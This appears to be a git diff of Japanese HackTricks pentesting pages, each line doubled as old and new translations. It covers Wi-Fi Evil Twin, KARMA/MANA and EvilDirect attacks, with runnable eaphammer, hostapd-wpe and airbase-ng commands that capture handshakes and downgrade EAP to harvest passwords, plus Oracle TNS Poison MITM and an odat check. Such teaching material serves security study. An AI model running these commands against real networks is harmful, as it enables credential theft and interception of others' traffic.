デフォルトでは、PNLに保存されたESSIDがWPAで保護されている場合、デバイスは自動的にOpenなEvil Twinには接続しません。実際のAPをDoS攻撃して、ユーザーが手動でOpenなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃してWPA Evil Twinを使用してハンドシェイクをキャプチャすることができますこの方法を使用すると、PSKを知らないため被害者を接続させることはできませんが、ハンドシェイクをキャプチャしてクラックを試みることができます)。 デフォルトでは、PNL内のESSIDがWPAで保護されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPをDoS攻撃して、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃してWPA Evil Twinを使用してハンドシェイクをキャプチャすることができますこの方法を使用すると、PSKを知らないため被害者を自分に接続させることはできませんが、ハンドシェイクをキャプチャして解読を試みることができます)。
_一部のOSとAVは、ユーザーにOpenネットワークへの接続が危険であることを警告します..._ _一部のOSとAVは、オープンネットワークに接続することは危険であるとユーザーに警告するかもしれません..._
### WPA/WPA2 Evil Twin ### WPA/WPA2 Evil Twin
**WPA/2を使用したEvil Twin**を作成でき、デバイスがそのSSIDにWPA/2で接続するように設定されている場合、接続を試みます。とはいえ、**4-way-handshakeを完了する**ためには、クライアントが使用する**パスワードを知る**必要があります。それを**知らない**場合、**接続は完了しません**。 **WPA/2を使用したEvil Twin**を作成できます。デバイスがWPA/2でそのSSIDに接続するように構成されている場合、接続を試みるでしょう。ただし、**4ウェイハンドシェイクを完了**するには、クライアントが使用する**パスワード****っている**必要があります。それを**知らない**場合、**接続は完了しません**。
``` ```
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
``` ```
### エンタープライズイービルツイン ### エンタープライズイービルツイン
この攻撃を理解するためには、まず[WPAエンタープライズの説明](./#wpa-enterprise-mgt)を読むことをお勧めします。 この攻撃を理解するためには、まず[WPAエンタープライズの説明](./#wpa-enterprise-mgt)を読むことをお勧めします。
**hostapd-wpeの使用** **hostapd-wpeの使用**
`hostapd-wpe`は動作するために**設定**ファイルが必要です。これらの設定を**自動化**するためには、[https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad)を使用してくださいPythonファイルを _/etc/hostapd-wpe/_ダウンロードしてください)。 `hostapd-wpe`は動作するために**設定**ファイルが必要です。これらの設定を自動化するために、[https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad)を使用できます_ /etc/hostapd-wpe/_内のPythonファイルをダウンロードしてください)。
``` ```
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com ./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s hostapd-wpe ./victim/victim.conf -s
``` ```
```markdown 設定ファイルでは、ssid、channel、ユーザーファイル、cret/key、dhパラメータ、wpaバージョン、認証など、さまざまな項目を選択できます。
設定ファイルでは、ssid、チャンネル、ユーザーファイル、cret/key、dhパラメータ、wpaバージョン、認証など、多くの異なる項目を選択できます...
[**hostapd-wpeを使用してEAP-TLSで任意の証明書でログインを許可する。**](evil-twin-eap-tls.md) [**EAP-TLSを使用したhostapd-wpeを使用して、任意の証明書でログインを許可する。**](evil-twin-eap-tls.md)
**EAPHammerの使用** **EAPHammerの使用**
```
```bash ```bash
# Generate Certificates # Generate Certificates
./eaphammer --cert-wizard ./eaphammer --cert-wizard
@ -586,51 +590,51 @@ hostapd-wpe ./victim/victim.conf -s
# Launch Attack # Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds ./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
``` ```
デフォルトでは、EAPHammerは以下の認証方法を目的としていますまずGTCを使用してプレーンテキストパスワードを取得しようとし、その後より堅牢な認証方法を使用することに注意してください デフォルトでは、EAPHammerはこの認証方法を目的としています平文パスワードを取得するために最初にGTCを試し、その後より堅牢な認証方法を使用します:
``` ```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5 GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
``` ```
これは、長い接続時間を避けるためのデフォルトの方法論です。しかし、認証方法を最も弱いものから最も強いものへと指定することもできます: これは、長い接続時間を避けるためのデフォルトの方法論です。ただし、最も弱い認証方法から最も強い方法まで、サーバーに認証方法を指定することもできます。
``` ```
--negotiate weakest --negotiate weakest
``` ```
以下のように使用することもできます: または次のように使用することもできます:
* `--negotiate gtc-downgrade` を使用して、高効率なGTCダウングレード実装を使用しますプレーンテキストパスワード * `--negotiate gtc-downgrade` を使用して、高効率のGTCダウングレード実装平文パスワードを使用します
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` で手動で提供する方法を指定します(攻撃対象の組織と同じ認証方法を同じ順序で提供することで、攻撃の検出が非常に困難になります)。 * `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` を指定して、手動で提供されるメソッドを指定します(攻撃対象の組織と同じ認証メソッドを同じ順序で提供すると、攻撃を検出するのがはるかに難しくなります)。
* [wikiでさらに情報を見る](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) * [ウィキで詳細を見る](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Airgeddonの使用** **Airgeddonを使用する**
`Airgeddon`以前に生成された証明書を使用して、WPA/WPA2-EnterpriseネットワークにEAP認証を提供することができます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードし、**ユーザーとパスワードのMD5をキャプチャ**することができます。その後、攻撃者はパスワードをクラックしようと試みることができます。 `Airgeddon` は以前に生成された証明書を使用して、WPA/WPA2-EnterpriseネットワークにEAP認証を提供できます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードするため、**ユーザーとパスワードのMD5をキャプチャ**できます。後で、攻撃者はパスワードを解読しようと試みることができます。\
`Airggedon`、**連続的なEvil Twin攻撃騒々しい**または**誰かが接続するまでEvil Attackを作成するだけ(スムーズ)**の可能性を提供します。 `Airggedon`**連続的なイービルツイン攻撃(ノイジー)**または**誰かが接続するまでイービルアタックを作成するだけ(スムーズ)**の可能性を提供します。
![](<../../.gitbook/assets/image (129).png>) ![](<../../.gitbook/assets/image (129).png>)
### Evil Twins攻撃におけるPEAPとEAP-TTLS TLSトンネルのデバッグ ### Evil Twins攻撃でのPEAPおよびEAP-TTLS TLSトンネルのデバッグ
_この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号しているので、EAP-TTLSでも機能するはずです_ _この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号化しているため、EAP-TTLSでも機能するはずです_
_hostapd-wpe_ の**設定**内で、_**dh\_file**_ を含む行を**コメントアウト**します(`dh_file=/etc/hostapd-wpe/certs/dh` から `#dh_file=/etc/hostapd-wpe/certs/dh` へ)。 _hostapd-wpe_の**構成**内で、_**dh\_file**_ を含む行を**コメントアウト**します(`dh_file=/etc/hostapd-wpe/certs/dh` から `#dh_file=/etc/hostapd-wpe/certs/dh` に)\
これにより、`hostapd-wpe` はDHではなくRSAを使用してキーを交換するため、後でサーバーのプライベートキーを知っていることでトラフィックを**復号**することができます。 これにより、`hostapd-wpe` がDHの代わりにRSAを使用して鍵を交換するようになり、後で**サーバーの秘密鍵を知っている**場合にトラフィックを**復号**できるようになります。
今、通常どおりその変更された設定で**`hostapd-wpe`** を使用して**Evil Twin**を開始します。また、Evil Twin攻撃を実行している**インターフェース**で**`wireshark`**開始します。 これで、通常どおり変更された構成を使用して**Evil Twin**を開始します。また、Evil Twin攻撃を実行している**インターフェース**で**`wireshark`**開始します。
、または後ですでにいくつかの認証試行をキャプチャした後、wiresharkにプライベートRSAキーを追加できます `編集 --> 環境設定 --> プロトコル --> TLS --> (RSAキーリスト) 編集...` すぐまたは後ですでにいくつかの認証意図をキャプチャしている場合、wiresharkにプライベートRSA鍵を追加できます: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
新しいエントリを追加し、次の値でフォームに記入します: **IPアドレス = 任意** -- **ポート = 0** -- **プロトコル = データ** -- **キーファイル**(問題を避けるため、パスワード保護されていないキーファイルを**選択してください**)。 新しいエントリを追加し、この値でフォームを記入します: **IPアドレス = any** -- **ポート = 0** -- **プロトコル = data** -- **キーファイル****キーファイルを選択**し、問題を避けるために**パスワード保護されていないキーファイル**を選択します)。
![](<../../.gitbook/assets/image (151).png>) ![](<../../.gitbook/assets/image (151).png>)
そして、新しい**"復号化されたTLS"タブ**を見てください: そして、新しい**"Decrypted TLS"タブ**を見てください:
![](<../../.gitbook/assets/image (152).png>) ![](<../../.gitbook/assets/image (152).png>)
## KARMA, MANA, Loud MANAおよび既知のビーコン攻撃 ## KARMA、MANA、Loud MANAおよびKnown beacons攻撃
### ESSIDとMACのブラック/ホワイトリスト ### ESSIDおよびMACブラック/ホワイトリスト
以下の表は、利用可能なMFACLManagement Frame Access Control Listsの異なるタイプと、使用時の効果をリストしています: 次の表は、使用可能なMFACLManagement Frame Access Control Listsの異なるタイプと、それらを使用した場合の効果をリストしています:
![](<../../.gitbook/assets/image (149).png>) ![](<../../.gitbook/assets/image (149).png>)
``` ```
@ -656,13 +660,13 @@ pears
``` ```
### KARMA ### KARMA
KARMA攻撃は、ステーションが使用するネットワーク選択プロセスを悪用するローグアクセスポイント攻撃の第二の形態です。2005年のホワイトペーパーで、Dino Dai ZoviとShane Macaulayは、攻撃者がアクセスポイントを設定して指向性プローブリクエストをリッスンし、それらに一致する指向性プローブレスポンスで応答する方法を説明しています。これにより、影響を受けるステーションは自動的に攻撃者のアクセスポイントに関連付けリクエストを送信します。アクセスポイントは関連付けレスポンスで応答し、影響を受けるステーションが攻撃者に接続する原因となります。 Karma攻撃は、ステーションが使用するネットワーク選択プロセスを悪用するローグアクセスポイント攻撃の第二の形態です。2005年に書かれたホワイトペーパーでは、Dino Dai ZoviとShane Macaulayが、アタッカーがアクセスポイントを設定して、指向プローブリクエストを受信し、それに一致する指向プローブレスポンスで応答することで、影響を受けるステーションが自動的にアタッカーのアクセスポイントに関連付けリクエストを送信する方法を説明ています。その後、アクセスポイントは関連付けレスポンスで応答し、影響を受けるステーションがアタッカーに接続されます。
### MANA ### MANA
Ian de VilliersとDominic Whiteによると、現代のステーションは、少なくとも1つのブロードキャストプローブリクエストにすでに応答しているアクセスポイントからの指向性プローブレスポンスを無視することで自身をKARMA攻撃から守るように設計されています。これにより、KARMA攻撃に対して脆弱なステーションの数が大幅に減少しましたが、2015年にWhiteとde Villiersそのような保護を回避する手段を開発しました。Whiteとde Villiersの改良されたKARMA攻撃MANA攻撃では、指向性プローブレスポンスが使用されて近くのステーションのPNLを再構築します。ステーションからブロードキャストプローブリクエストが受信されると、攻撃者のアクセスポイントは、そのデバイスからの直接プローブで既に見られたステーションのPNLの任意のSSIDで応答します。 Ian de VilliersとDominic Whiteによると、現代のステーションは、少なくとも1つのブロードキャストプローブリクエストにすでに応答していないアクセスポイントからの指向プローブレスポンスを無視することで、Karma攻撃に対して自己保護されるように設計されています。これにより、Karma攻撃に対して脆弱なステーションの数が大幅に減少しましたが、2015年にWhiteとde Villiersそのような保護を回避する手段を開発しました。Whiteとde Villiersの改良されたKarma攻撃MANA攻撃では、指向プローブレスポンスを使用して近くのステーションのPNLを再構築します。ステーションからブロードキャストプローブリクエストが受信されると、アタッカーのアクセスポイントは、そのデバイスからの直接プローブで既に見られているデバイスのPNLから任意のSSIDで応答します。
要約すると、MANAアルゴリズムは次のように機能しますアクセスポイントがプローブリクエストを受信するたびに、それがブロードキャストプローブか指向性プローブかをまず判断します。指向性プローブの場合、送信者のMACアドレスはハッシュテーブルに追加されますまだそこにない場合そして、ESSIDはそのデバイスのPNLに追加されます。APはその後、指向性プローブレスポンスで応答します。ブロードキャストプローブの場合、アクセスポイントはそのデバイスのPNLにある各ネットワークに対してプローブレスポンスで応答します。 要約すると、MANAアルゴリズムは次のように機能します。アクセスポイントがプローブリクエストを受信するたびに、まずそれがブロードキャストか指向プローブかを判断します。指向プローブの場合、送信元のMACアドレスがハッシュテーブルに追加されまだ存在しない場合、そのデバイスのPNLにESSIDが追加されます。その後、APは指向プローブレスポンスで応答します。ブロードキャストプローブの場合、アクセスポイントはそのデバイスのPNL内の各ネットワークに対してプローブレスポンスで応答します。
eaphammerを使用したMANA攻撃 eaphammerを使用したMANA攻撃
``` ```
@ -670,25 +674,25 @@ eaphammerを使用したMANA攻撃
``` ```
### ラウドMANA ### ラウドMANA
標準のMANA攻撃では、指向性プロービングを一切使用しないデバイスに対して攻撃することはできません。したがって、デバイスのPNL内に以前から知っているエントリが一つもない場合、別の攻撃方法を考える必要があります。 標準のMANA攻撃では、直接のプロービングを使用しないデバイスを攻撃することはできません。したがって、デバイスのPNL内のエントリを事前に把握していない場合、別の攻撃方法を見つける必要があります。
一つの可能性として、ラウドMANA攻撃があります。この攻撃は、物理的に近い位置にあるクライアントデバイスは、PNL内に少なくともいくつかの共通のエントリを持っている可能性が高いという考えに基づいています。 可能性の一つは、ラウドMANA攻撃と呼ばれるものです。この攻撃は、物理的に近接しているクライアントデバイスが、少なくともいくつかの共通のエントリをPNLに持っている可能性が高いという考えに基づいています。
要約すると、ラウドMANA攻撃は、特定のデバイスのPNL内の各ESSIDに対してプローブリクエストに応答するのではなく、以前に見たすべてのデバイスのPNL内のすべてのESSIDに対してプローブ応答を送信するものです。集合論に関連付けると、APは近くのデバイスのすべてのPNLの結合にある各ESSIDに対してプローブ応答を送信すると言えます。 要約すると、ラウドMANA攻撃は、特定のデバイスのPNL内の各ESSIDに対してプローブリクエストに応答する代わりに、ローグAPは以前に見たすべてのデバイスのすべてのPNL内のすべてのESSIDに対してプローブレスポンスを送信します。これを集合論に関連付けると、APは近くのデバイスのすべてのPNLの和集合内の各ESSIDに対してプローブレスポンスを送信します。
``` ```
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
``` ```
### 既知のビーコン攻撃 ### 既知のビーコン攻撃
Loud MANA攻撃が成功しないケースもまだ存在します。\ まだLoud MANA攻撃が成功しないケースがあります。\
既知のビーコン攻撃は、攻撃者が被害者を攻撃者のAPに接続させようとする「ブルートフォース」ESSIDの方法です。攻撃者は任意のESSIDに応答するAPを作成し、ワードリスト内の各名前のESSIDを偽装するビーコンを送信するコードを実行します。願わくば、被害者はそのPNL内にこれらのESSID名のいくつかを含んでおり、偽のAPに接続しようとします。\ 既知のビーコン攻撃は、被害者を攻撃者に接続させようとするためにESSIDを「ブルートフォース」する方法です。攻撃者は、任意のESSIDに応答するAPを作成し、ビーコンを送信するコードを実行して、ワードリスト内の各名前のESSIDを偽装します。被害者がPNL内にこれらのESSID名のいくつかを含んでいることを期待し、偽のAPに接続しようとします。\
Eaphammerは、リスト内のすべてのESSIDが充電されるMANA攻撃としてこの攻撃を実装しましたこれを`--loud`と組み合わせて、Loud MANA + Known beacons攻撃を作成することもできます Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のすべてのESSIDがロードされますこれに`--loud`を組み合わせてLoud MANA + 既知のビーコン攻撃を作成することもできます)。
``` ```
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
``` ```
**既知のビーコンバースト攻撃** **既知のビーコンバースト攻撃**
既知のビーコンは騒がしいです。Eaphammerプロジェクト内のスクリプトを使用して、ファイル内のすべてのESSID名のビーコンを非常に迅速に発信することができます。このスクリプトをEaphammer MANA攻撃と組み合わせると、クライアントはあなたのAPに接続できるようになります。 既知のビーコンは大きな存在です。Eaphammerプロジェクト内のスクリプトを使用して、ファイル内のすべてのESSID名のビーコンを非常に迅速に発信することができます。このスクリプトをEaphammer MANA攻撃と組み合わせると、クライアントはあなたのAPに接続できるようになります。
``` ```
# transmit a burst of 5 forged beacon packets for each entry in list # transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \ ./forge-beacons -i wlan1 \
@ -699,15 +703,15 @@ Eaphammerは、リスト内のすべてのESSIDが充電されるMANA攻撃と
``` ```
## Wi-Fi Direct ## Wi-Fi Direct
Wi-Fi Directは、デバイスが無線APなしで互いに接続できるWi-Fi標準です。2台のデバイスのうち1台がAPとして機能しますグループオーナーと呼ばれます。プリンターやテレビなど、多くのIoTデバイスでWi-Fi Directを見つけることができます。 Wi-Fi Directは、ワイヤレスAPなしでデバイス同士を接続するためのWi-Fi標準です。2つのデバイスのうち1つがAPとして機能するグループオーナーと呼ばれることで、デバイス同士を接続できます。プリンターやテレビなどのIoTデバイスでWi-Fi Directを見つけることができます。
Wi-Fi Directは、デバイスを安全に接続するためにWi-Fi Protected Setup**WPS**に依存しています。WPSには、**Push-Button** ConfigurationPBC、**PIN entry**、**Near-Field** CommunicationNFCなどの複数の設定方法があります。 Wi-Fi Directは、デバイスを安全に接続するためにWi-Fi Protected Setup**WPS**に依存しています。WPSには、**Push-Button** ConfigurationPBC、**PIN entry**、**Near-Field** CommunicationNFCなど、複数の構成方法があります。
したがって、PINが使用されている場合、以前に見たWPS PINへの攻撃もここで有効です。 したがって、PINが使用されている場合、WPS PINに対して以前に見られた攻撃はここでも有効です。
### EvilDirect Hijacking ### EvilDirect Hijacking
これはEvil-Twinと同様に機能しますが、Wi-Fi Direct用です。グループオーナーになりすまして、他のデバイス例えば電話があなたに接続するように試みることができます:`airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0` これはEvil-Twinのように機能しますが、Wi-Fi Direct向けであり、他のデバイス電話があなたに接続するようにグループオーナーをなりすますことができます:`airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
## 参考文献 ## 参考文献
@ -720,33 +724,19 @@ Wi-Fi Directは、デバイスを安全に接続するためにWi-Fi Protected S
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) * [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d) * [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) をチェックしてくださいFacebookでのログインやキャプティブポータルでのWPAの模倣について TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher)をチェックしてくださいFacebookログインとキャプティブポータルでのWPAの模倣
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加しましょう! [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**Hacking Insights**\ **ハッキングの洞察**\
ハッキングのスリルと挑戦に焦点を当てたコンテンツに参加しましょう。 ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
**Real-Time Hack News**\ **リアルタイムのハックニュース**\
リアルタイムのニュースと洞察を通じて、速いペースで変化するハッキングの世界を最新の状態に保ちましょう。 リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新情報で追いかけましょう
**Latest Announcements**\ **最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を入手しましょう。 最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
**今すぐ** [**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、トップハッカーとのコラボレーションを始めましょう! **[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう!**
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学びましょう</strong></summary>
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしましょう。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有しましょう。
</details>

View file

@ -1,54 +1,50 @@
```markdown
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksに広告を掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。 - **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
</details> </details>
# TNS Poison '**TNS Poison**'として知られる脆弱性は、リスナーの12cバージョンまでに影響を与え、後者は特定の構成でのみ脆弱です。たとえば、リスナーの動的構成を無効にすることは、Oracle DataGuard、PL/SQL Gateway with APEX、および特定のSAPバージョンを使用するセットアップでは実現不可能な緩和措置です。この脆弱性は、リスナーサービスのデフォルト動作がリモート構成をサポートし、匿名構成を含むことが脆弱性の要点です。
リスナーの新しいバージョンに遭遇した場合、ブルートフォース以外にあまり余地はありません。ただし、バージョン12cまでのすべてのバージョンは「TNS Poison」と呼ばれる攻撃に対して脆弱です。ただし、後者のバージョンは特定の設定でのみ脆弱です。例えば、この脆弱性を修正する方法の一つは、リスナーの動的設定を無効にすることですが、Oracle DataGuard、PL/SQL GatewayをAPEXと連携して使用する場合や、SAPの一部のバージョンでは不可能です。一般的に、問題は、デフォルトではリスナーサービスがリモート設定をサポートしており、さらに匿名で行うことができることです。ここに脆弱性の核心があります。 ![https://hackmag.com/wp-content/uploads/2015/04/poison.png](https://hackmag.com/wp-content/uploads/2015/04/poison.png)
[![図1. TNS Poison 脆弱性](https://hackmag.com/wp-content/uploads/2015/04/poison.png)](https://hackmag.com/wp-content/uploads/2015/04/poison.png) *図1はTNS Poison脆弱性を示しています。*
図1. TNS Poison 脆弱性 攻撃アルゴリズムのサンプルは次のとおりです図1を参照
これは攻撃アルゴリズムのサンプルです図1を参照: 1. 'CONNECT_DATA=(COMMAND=SERVICE_REGISTER_NSGR)'というTNSクエリを送信する。
2. 'DESCRIPTION=(TMP=))'という応答は脆弱性を示し、パッチ済みサーバーは 'ERROR_STACK=(ERROR=1194))' で応答します。
3. 攻撃者は、新しいリスナー向けにSIDとIPを含む構成パッケージを生成する必要があり、Man-In-The-MiddleMITM攻撃を狙います。現在のSID名の長さは、Well Formedパッケージを作成するために重要です。
4. これらのコンポーネントは次にリスナーに転送されます。
5. 成功した実行後、新しい接続は攻撃者が制御するIP経由でリスナーによって誘導されます。
* 次のTNSクエリを送信します: 'CONNECT\_DATA=\(COMMAND=SERVICE\_REGISTER\_NSGR\)\)'。 潜在的なMITM攻撃をDoS攻撃に変換して新しいクライアントがデータベースに接続できないようにするために、クエリプロキシングLinuxのIP_forwardingに類似を有効にすることが重要です。この脆弱性により、攻撃者は他のユーザーのセッションにコマンドを挿入できます。サーバーの脆弱性は、Metasploit FrameworkMSFモジュール 'auxiliary/scanner/oracle/tnspoison_checker' を使用して評価できます。
* 脆弱なサーバーは次のように応答します: '\(DESCRIPTION=\(TMP=\)\)'。パッチが適用されたサーバーからの応答は次のようになります: '\(ERROR\_STACK=\(ERROR=1194\)\)'。
* 新しいリスナーのSIDとIPを含む設定パッケージを生成します将来のMITM用。現在のSIDの名前の文字数は非常に重要です。これがWell Formedパッケージに依存しているため、知っておく必要があります。
* 次に、これらの情報をリスナーに送信します。
* すべてが正しければ、新しい接続はリスナーによって制御されたIPを介して転送されます。
クエリのプロキシを有効にすることを忘れないでくださいLinuxのIP\_forwardingのように、そうでなければ、新しいクライアントがデータベースに接続できなくなるため、整然としたMITM攻撃の代わりに粗雑なDoSが発生します。結果として、攻撃者は他のユーザーのセッション内に自分のコマンドを埋め込むことができます。**サーバーが脆弱であるかどうかは、次のMSFモジュールを使用して確認できます: 'auxiliary/scanner/oracle/tnspoison\_checker'。** 詳細については、オリジナルの[HackmagのOracle DB侵害手法に関する記事](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)をご覧ください。
このページのすべてはここから抜粋されました: [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/) **代替テスト方法:**
**他のテスト方法:**
```
```text ```text
./odat.py tnspoison -s <IP> -p <PORT> -d <SID> --test-module ./odat.py tnspoison -s <IP> -p <PORT> -d <SID> --test-module
``` ```
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する
